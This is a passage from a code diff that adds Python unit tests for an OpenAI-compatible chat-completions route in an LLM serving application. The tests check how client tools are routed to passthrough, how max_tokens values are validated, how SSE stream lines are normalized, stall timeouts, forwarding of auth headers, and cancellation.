     _monitor_openai_sse_event,
+    _normalize_openai_passthrough_sse_line,
+    _openai_compat_stream_stall_timeout,
     _openai_messages_for_gguf_chat,
+    _openai_passthrough_sse_line_terminal_state,
+    _openai_passthrough_upstream_headers,
     _openai_passthrough_non_streaming,
     _openai_passthrough_stream,
+    _openai_stream_error_sse,
     _openai_stream_usage_chunk,
     _proxy_to_external_provider,
     _SameTaskStreamingResponse,
+    _OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV,
     _set_or_prepend_system_message,
     openai_completions,
     openai_embeddings,
     openai_chat_completions,
 )
-from state.tool_policy import reset_tool_policy
+from state.tool_policy import reset_tool_policy, set_tool_policy
+
+
+def test_aclose_stream_resources_attempts_remaining_closes_after_cancel():
+    class Closeable:
+        def __init__(self, *, cancel = False):
+            self.cancel = cancel
+            self.closed = False
+
+        async def aclose(self):
+            self.closed = True
+            if self.cancel:
+                raise asyncio.CancelledError()
+
+    async def _run():
+        iterator = Closeable(cancel = True)
+        resp = Closeable()
+        client = Closeable()
+
+        with pytest.raises(asyncio.CancelledError):
+            await _aclose_stream_resources(iterator = iterator, resp = resp, client = client)
+
+        assert iterator.closed
+        assert resp.closed
+        assert client.closed
+
+    asyncio.run(_run())
 
 
 class TestFriendlyUpstreamError:
@@ -548,6 +584,263 @@ class TestChatCompletionRequestToolFields:
         assert "n > 1 is not supported" in entry["error"]
         assert monitor.active_count() == 0
 
+    def test_client_tools_rejected_when_gguf_template_has_no_tool_support(self, monkeypatch):
+        import routes.inference as inference_route
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+
+            def generate_chat_completion(self, **_kwargs):
+                raise AssertionError("client tools must not fall through to the standard GGUF path")
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "hi"}],
+                "tools": [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object"},
+                        },
+                    }
+                ],
+            },
+        )
+
+        self._assert_unsupported_param(resp, "tools")
+        assert "does not advertise tools" in resp.json()["error"]["message"]
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "error"
+        assert "does not advertise tools" in entry["error"]
+        assert monitor.active_count() == 0
+
+    def test_client_tools_use_passthrough_capability_when_tool_loop_is_disabled(self, monkeypatch):
+        import routes.inference as inference_route
+
+        captured = {}
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            supports_tool_passthrough = True
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+            base_url = "http://llama.passthrough-capability.test"
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None
+
+            def generate_chat_completion(self, **_kwargs):
+                raise AssertionError("client tools must use passthrough")
+
+            def generate_chat_completion_with_tools(self, **_kwargs):
+                raise AssertionError("Studio tool loop must stay disabled")
+
+        async def fake_passthrough(llama_backend, payload, model_name, **kwargs):
+            captured["body"] = inference_route._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            inference_route.api_monitor.finish(kwargs.get("monitor_id"))
+            return inference_route.JSONResponse({"ok": True, "model": model_name})
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        monkeypatch.setattr(
+            inference_route,
+            "_openai_passthrough_non_streaming",
+            fake_passthrough,
+        )
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "use client tool"}],
+                "tools": [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object"},
+                        },
+                    }
+                ],
+            },
+        )
+
+        assert resp.status_code == 200
+        assert resp.json()["ok"] is True
+        assert captured["body"]["tools"][0]["function"]["name"] == "lookup"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert monitor.active_count() == 0
+
+    def test_enable_tools_on_non_tool_backend_keeps_client_tools_on_passthrough(self, monkeypatch):
+        # DiffusionGemma forces supports_tools off while passthrough stays
+        # available (#6851): enable_tools=True must not steal client tools
+        # from the passthrough into a Studio tool loop that cannot run.
+        import routes.inference as inference_route
+
+        captured = {}
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            supports_tool_passthrough = True
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+            base_url = "http://llama.passthrough-capability.test"
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None
+
+            def generate_chat_completion(self, **_kwargs):
+                raise AssertionError("client tools must use passthrough")
+
+            def generate_chat_completion_with_tools(self, **_kwargs):
+                raise AssertionError("Studio tool loop cannot run on a non-tool backend")
+
+        async def fake_passthrough(llama_backend, payload, model_name, **kwargs):
+            captured["body"] = inference_route._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            inference_route.api_monitor.finish(kwargs.get("monitor_id"))
+            return inference_route.JSONResponse({"ok": True, "model": model_name})
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        monkeypatch.setattr(
+            inference_route,
+            "_openai_passthrough_non_streaming",
+            fake_passthrough,
+        )
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "use client tool"}],
+                "enable_tools": True,
+                "tools": [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object"},
+                        },
+                    }
+                ],
+            },
+        )
+
+        assert resp.status_code == 200
+        assert resp.json()["ok"] is True
+        assert captured["body"]["tools"][0]["function"]["name"] == "lookup"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert monitor.active_count() == 0
+
+    def test_tool_choice_none_allows_tool_catalog_without_tool_template(self, monkeypatch):
+        import routes.inference as inference_route
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+
+            def generate_chat_completion(self, **kwargs):
+                assert kwargs["max_tokens"] is None
+                yield "plain response"
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "hi"}],
+                "tools": [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object"},
+                        },
+                    }
+                ],
+                "tool_choice": "none",
+            },
+        )
+
+        assert resp.status_code == 200
+        assert resp.json()["choices"][0]["message"]["content"] == "plain response"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert entry["reply"] == "plain response"
+        assert monitor.active_count() == 0
+
+    def test_tool_call_history_rejected_when_gguf_template_has_no_tool_support(self, monkeypatch):
+        import routes.inference as inference_route
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+
+            def generate_chat_completion(self, **_kwargs):
+                raise AssertionError(
+                    "tool-call history must not fall through to the standard GGUF path"
+                )
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [
+                    {"role": "user", "content": "use a tool"},
+                    {
+                        "role": "assistant",
+                        "content": None,
+                        "tool_calls": [
+                            {
+                                "id": "call_1",
+                                "type": "function",
+                                "function": {"name": "lookup", "arguments": "{}"},
+                            }
+                        ],
+                    },
+                    {"role": "tool", "tool_call_id": "call_1", "content": "{}"},
+                ],
+            },
+        )
+
+        self._assert_unsupported_param(resp, "messages")
+        assert "does not advertise tools" in resp.json()["error"]["message"]
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "error"
+        assert "does not advertise tools" in entry["error"]
+        assert monitor.active_count() == 0
+
     def test_n_rejected_for_non_gguf_path(self, monkeypatch):
         class _NoGGUFBackend:
             is_loaded = False
@@ -748,11 +1041,32 @@ class TestBuildPassthroughPayloadToolChoice:
         )
         assert body.get("stream_options") == {"include_usage": False}
 
+    def test_response_format_without_tools_omits_tool_fields(self):
+        args = self._args()
+        args["openai_tools"] = None
+
+        body = _build_passthrough_payload(
+            **args,
+            response_format = {"type": "json_object"},
+        )
+
+        assert body["response_format"] == {"type": "json_object"}
+        assert "tools" not in body
+        assert "tool_choice" not in body
+
     def test_repetition_penalty_renamed(self):
         body = _build_passthrough_payload(**self._args(), repetition_penalty = 1.1)
         assert body.get("repeat_penalty") == 1.1
         assert "repetition_penalty" not in body
 
+    def test_omitted_passthrough_max_tokens_uses_backend_context(self):
+        args = self._args()
+        args["max_tokens"] = None
+
+        body = _build_passthrough_payload(**args, backend_ctx = 4096)
+
+        assert body["max_tokens"] == 4096
+
     def test_passthrough_body_merges_system_and_developer_messages(self):
         payload = ChatCompletionRequest(
             model = "default",
@@ -772,6 +1086,74 @@ class TestBuildPassthroughPayloadToolChoice:
         ]
 
 
+class TestOpenAIPassthroughSSETerminalState:
+    def test_done_sentinel(self):
+        assert _openai_passthrough_sse_line_terminal_state("data: [DONE]") == "done"
+
+    def test_finish_reason_with_space(self):
+        line = 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}'
+        assert _openai_passthrough_sse_line_terminal_state(line) == "finish"
+
+    def test_finish_reason_without_space(self):
+        line = 'data:{"choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}'
+        assert _openai_passthrough_sse_line_terminal_state(line) == "finish"
+
+    def test_usage_chunk(self):
+        line = 'data: {"choices":[],"usage":{"prompt_tokens":1,"completion_tokens":2}}'
+        assert _openai_passthrough_sse_line_terminal_state(line) == "usage"
+
+    def test_error_chunk(self):
+        line = 'data: {"error":{"message":"boom"}}'
+        assert _openai_passthrough_sse_line_terminal_state(line) == "error"
+
+    def test_cap_parallel_tool_calls_accepts_no_space_after_data_colon(self):
+        line = (
+            'data:{"choices":[{"delta":{"tool_calls":['
+            '{"index":0,"function":{"name":"a"}},'
+            '{"index":1,"function":{"name":"b"}}]}}]}'
+        )
+
+        capped = _normalize_openai_passthrough_sse_line(line, cap_parallel_tool_calls = True)
+
+        data = json.loads(capped[len("data:") :].lstrip())
+        assert data["choices"][0]["delta"]["tool_calls"] == [
+            {"index": 0, "function": {"name": "a"}}
+        ]
+
+    def test_plain_content_line_is_returned_identically(self):
+        # The relay dispatches terminal classification on `out_line is raw_line`,
+        # so the no-mutation path must return the identical string object.
+        line = 'data: {"choices":[{"index":0,"delta":{"content":"hello"},"finish_reason":null}]}'
+        assert _normalize_openai_passthrough_sse_line(line) is line
+        assert _normalize_openai_passthrough_sse_line(line, cap_parallel_tool_calls = True) is line
+
+    def test_reasoning_key_inside_content_text_keeps_line_identical(self):
+        # Fast-path substring gate fires, but the parse finds nothing to change:
+        # the original object must come back so the relay stays byte-identical.
+        line = (
+            'data: {"choices":[{"index":0,"delta":{"content":'
+            '"mentions \\"reasoning_content\\" in text"},"finish_reason":null}]}'
+        )
+        assert _normalize_openai_passthrough_sse_line(line) is line
+
+    def test_reasoning_only_delta_gets_empty_content(self):
+        line = (
+            'data: {"choices":[{"index":0,'
+            '"delta":{"reasoning_content":"thinking"},'
+            '"finish_reason":null}]}'
+        )
+
+        normalized = _normalize_openai_passthrough_sse_line(line)
+
+        data = json.loads(normalized[len("data:") :].lstrip())
+        delta = data["choices"][0]["delta"]
+        assert delta["reasoning_content"] == "thinking"
+        assert delta["content"] == ""
+
+    def test_reasoning_normalization_preserves_done_sentinel(self):
+        assert _normalize_openai_passthrough_sse_line("data: [DONE]") == "data: [DONE]"
+
+
 # =====================================================================
 # Passthrough reasoning kwargs — enable_thinking / reasoning_effort /
 # preserve_thinking must reach llama-server via chat_template_kwargs,
@@ -892,6 +1274,98 @@ class TestOpenAICompatibilityHelpers:
         payload = SimpleNamespace(max_tokens = 128, max_completion_tokens = 64)
         assert _effective_max_tokens(payload) == 64
 
+    def test_openai_compat_max_tokens_returns_none_when_omitted(self):
+        payload = SimpleNamespace(max_tokens = None, max_completion_tokens = None)
+        assert _effective_openai_max_tokens(payload) is None
+
+    @pytest.mark.parametrize(
+        ("payload", "expected"),
+        [
+            (SimpleNamespace(max_tokens = 8192, max_completion_tokens = None), 8192),
+            (SimpleNamespace(max_tokens = 8192, max_completion_tokens = 256), 256),
+        ],
+    )
+    def test_openai_compat_explicit_values_pass_through(self, payload, expected):
+        assert _effective_openai_max_tokens(payload) == expected
+
+    @pytest.mark.parametrize(
+        ("payload", "param"),
+        [
+            (SimpleNamespace(max_tokens = "128", max_completion_tokens = None), "max_tokens"),
+            (SimpleNamespace(max_tokens = True, max_completion_tokens = None), "max_tokens"),
+            (SimpleNamespace(max_tokens = 12.5, max_completion_tokens = None), "max_tokens"),
+            (
+                SimpleNamespace(max_tokens = None, max_completion_tokens = "128"),
+                "max_completion_tokens",
+            ),
+        ],
+    )
+    def test_openai_compat_max_tokens_rejects_non_integer_explicit_values(self, payload, param):
+        with pytest.raises(HTTPException) as exc:
+            _effective_openai_max_tokens(payload)
+
+        assert exc.value.status_code == 400
+        assert exc.value.detail["error"]["param"] == param
+        assert exc.value.detail["error"]["code"] == "invalid_type"
+
+    def test_openai_compat_max_tokens_zero_is_valid_and_negative_rejected(self):
+        # Legacy completions spec: max_tokens has minimum 0, so 0 must pass
+        # through; only negatives are invalid_value.
+        assert _effective_openai_max_tokens_from_values(0) == 0
+
+        with pytest.raises(HTTPException) as exc:
+            _effective_openai_max_tokens_from_values(-1)
+
+        assert exc.value.status_code == 400
+        assert exc.value.detail["error"]["code"] == "invalid_value"
+        assert exc.value.detail["error"]["param"] == "max_tokens"
+
+    def test_chat_reasoning_chunk_carries_empty_content(self):
+        from routes.inference import _chat_reasoning_chunk
+
+        line = _chat_reasoning_chunk("chatcmpl-test", 123, "gguf", "thinking...")
+        chunk = json.loads(line[len("data: ") :])
+        delta = chunk["choices"][0]["delta"]
+
+        assert delta["reasoning_content"] == "thinking..."
+        assert delta["content"] == ""
+
+    def test_passthrough_upstream_headers_include_backend_auth(self):
+        headers = _openai_passthrough_upstream_headers(
+            llama_backend = SimpleNamespace(_auth_headers = {"Authorization": "Bearer secret"}),
+        )
+
+        assert headers["Authorization"] == "Bearer secret"
+        assert headers["Connection"] == "close"
+
+    def test_openai_compat_stream_stall_timeout_uses_default(self, monkeypatch):
+        monkeypatch.delenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raising = False)
+        assert _openai_compat_stream_stall_timeout() == 120.0
+
+    def test_openai_compat_stream_stall_timeout_uses_env_override(self, monkeypatch):
+        monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, "4.5")
+        assert _openai_compat_stream_stall_timeout() == 4.5
+
+    @pytest.mark.parametrize("raw_value", ["", "not-a-float"])
+    def test_openai_compat_stream_stall_timeout_invalid_env_uses_default(
+        self, monkeypatch, raw_value
+    ):
+        monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raw_value)
+        assert _openai_compat_stream_stall_timeout() == 120.0
+
+    @pytest.mark.parametrize("raw_value", ["0", "-1"])
+    def test_openai_compat_stream_stall_timeout_non_positive_env_disables(
+        self, monkeypatch, raw_value
+    ):
+        monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raw_value)
+        assert _openai_compat_stream_stall_timeout() is None
+
+    def test_openai_stream_error_sse_closes_with_done(self):
+        error = {"error": {"message": "boom"}}
+        assert _openai_stream_error_sse(error) == (
+            'data: {"error": {"message": "boom"}}\n\n' "data: [DONE]\n\n"
+        )
+
     @pytest.mark.parametrize(
         "finish_reason",
         ["stop", "length", "tool_calls", "content_filter", "function_call"],
@@ -1515,9 +1989,330 @@ class TestGgufVisionToolRouting:
         assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan"
         assert "".join(d.get("content", "") for d in deltas) == "visible"
         assert all("<think>" not in d.get("content", "") for d in deltas)
+        assert all("content" in d for d in deltas if "reasoning_content" in d)
         [entry] = result.monitor.snapshot()
         assert entry["reply"] == "visible"
 
+    def test_global_enable_tools_does_not_preempt_response_format_passthrough(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        set_tool_policy(True)
+        captured = {}
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        def _tools(**_kwargs):
+            raise AssertionError("Studio tool loop should not steal response_format")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.policy.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        async def fake_passthrough(llama_backend, payload, model_name, **_kwargs):
+            captured["body"] = inf_mod._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            return inf_mod.JSONResponse({"ok": True, "model": model_name})
+
+        try:
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming",
+                fake_passthrough,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "json"}],
+                response_format = {"type": "json_object"},
+            )
+            response = self._drive(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+
+            assert json.loads(response.body)["ok"] is True
+            assert captured["body"]["response_format"] == {"type": "json_object"}
+            assert "tools" not in captured["body"]
+            assert "tool_choice" not in captured["body"]
+        finally:
+            reset_tool_policy()
+
+    def test_global_enable_tools_does_not_replace_client_tools_passthrough(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        set_tool_policy(True)
+        captured = {}
+        client_tools = [
+            {
+                "type": "function",
+                "function": {
+                    "name": "client_lookup",
+                    "parameters": {"type": "object", "properties": {}},
+                },
+            }
+        ]
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        def _tools(**_kwargs):
+            raise AssertionError("Studio tool loop should not replace client tools")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.policy.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        async def fake_passthrough(llama_backend, payload, model_name, **_kwargs):
+            captured["body"] = inf_mod._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            return inf_mod.JSONResponse({"ok": True, "model": model_name})
+
+        try:
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming",
+                fake_passthrough,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "use client tool"}],
+                tools = client_tools,
+            )
+            response = self._drive(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+
+            assert json.loads(response.body)["ok"] is True
+            assert captured["body"]["tools"] == client_tools
+            assert captured["body"]["tool_choice"] == "auto"
+        finally:
+            reset_tool_policy()
+
+    def test_global_enable_tools_honors_client_tool_choice_none(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        set_tool_policy(True)
+        client_tools = [
+            {
+                "type": "function",
+                "function": {
+                    "name": "client_lookup",
+                    "parameters": {"type": "object", "properties": {}},
+                },
+            }
+        ]
+
+        def _plain(**kwargs):
+            assert kwargs["max_tokens"] is None
+            yield "plain response"
+
+        def _tools(**_kwargs):
+            raise AssertionError("tool_choice='none' must not start Studio's tool loop")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.policy.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        try:
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "do not use tools"}],
+                tools = client_tools,
+                tool_choice = "none",
+            )
+            response = self._drive(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+
+            assert json.loads(response.body)["choices"][0]["message"]["content"] == "plain response"
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert entry["reply"] == "plain response"
+            assert monitor.active_count() == 0
+        finally:
+            reset_tool_policy()
+
+    def test_enabled_tools_without_enable_tools_keeps_response_format_passthrough(
+        self, monkeypatch
+    ):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        captured = {}
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        def _tools(**_kwargs):
+            raise AssertionError("enabled_tools alone must not start Studio's tool loop")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.enabled-tools.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        async def fake_passthrough(llama_backend, payload, model_name, **_kwargs):
+            captured["body"] = inf_mod._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            return inf_mod.JSONResponse({"ok": True, "model": model_name})
+
+        monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+        monkeypatch.setattr(inf_mod, "_openai_passthrough_non_streaming", fake_passthrough)
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+        payload = ChatCompletionRequest(
+            model = "default",
+            messages = [{"role": "user", "content": "json"}],
+            enabled_tools = ["web_search"],
+            response_format = {"type": "json_object"},
+        )
+        response = self._drive(
+            openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+        )
+
+        assert json.loads(response.body)["ok"] is True
+        assert captured["body"]["response_format"] == {"type": "json_object"}
+
+    def test_enabled_tools_without_enable_tools_keeps_client_tools_passthrough(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        captured = {}
+        client_tools = [
+            {
+                "type": "function",
+                "function": {
+                    "name": "client_lookup",
+                    "parameters": {"type": "object", "properties": {}},
+                },
+            }
+        ]
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        def _tools(**_kwargs):
+            raise AssertionError("enabled_tools alone must not start Studio's tool loop")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.enabled-tools.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        async def fake_passthrough(llama_backend, payload, model_name, **_kwargs):
+            captured["body"] = inf_mod._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            return inf_mod.JSONResponse({"ok": True, "model": model_name})
+
+        monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+        monkeypatch.setattr(inf_mod, "_openai_passthrough_non_streaming", fake_passthrough)
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+        payload = ChatCompletionRequest(
+            model = "default",
+            messages = [{"role": "user", "content": "use client tool"}],
+            enabled_tools = ["web_search"],
+            tools = client_tools,
+        )
+        response = self._drive(
+            openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+        )
+
+        assert json.loads(response.body)["ok"] is True
+        assert captured["body"]["tools"] == client_tools
+        assert captured["body"]["tool_choice"] == "auto"
+
     def test_reasoning_capable_gguf_stream_splits_reasoning_by_default(self, monkeypatch):
         def _generate(**_kwargs):
             yield "<think>plan</think>visible"
@@ -1691,6 +2486,58 @@ class TestGgufVisionToolRouting:
         assert entry["completion_tokens"] == 3
         assert monitor.active_count() == 0
 
+    def test_non_streaming_gguf_cancel_drains_worker(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            started = threading.Event()
+            released = threading.Event()
+
+            def _generate(**kwargs):
+                cancel_event = kwargs["cancel_event"]
+                started.set()
+                while not cancel_event.is_set():
+                    time.sleep(0.005)
+                released.set()
+                yield from ()
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+            )
+            task = asyncio.create_task(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+            assert await asyncio.to_thread(started.wait, 1.0)
+
+            task.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, timeout = 1.0)
+
+            assert released.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_standard_gguf_merges_system_and_developer_messages(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -1801,7 +2648,12 @@ class TestApiMonitorProviderAndCompletionStreams:
         async def is_disconnected(self):
             return False
 
-    async def _run_passthrough_stream(self, monkeypatch, lines):
+    async def _run_passthrough_stream(
+        self,
+        monkeypatch,
+        lines,
+        stream_options = None,
+    ):
         import routes.inference as inf_mod
 
         class Request:
@@ -1829,6 +2681,7 @@ class TestApiMonitorProviderAndCompletionStreams:
             model = "default",
             messages = [ChatMessage(role = "user", content = "hi")],
             stream = True,
+            stream_options = stream_options,
             tools = [
                 {
                     "type": "function",
@@ -1913,6 +2766,134 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_stream_forwards_backend_auth_headers(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            captured_headers = {}
+
+            async def fake_send(_client, req, *_args, **_kwargs):
+                captured_headers.update(dict(req.headers))
+                return httpx.Response(200, content = b"")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _auth_headers = {"Authorization": "Bearer secret"},
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "chatcmpl-test",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+
+            assert "data: [DONE]\n\n" in "".join(chunks)
+            assert captured_headers["authorization"] == "Bearer secret"
+            assert captured_headers["connection"] == "close"
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_keepalive_while_upstream_headers_are_pending(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                return httpx.Response(200, content = b"")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
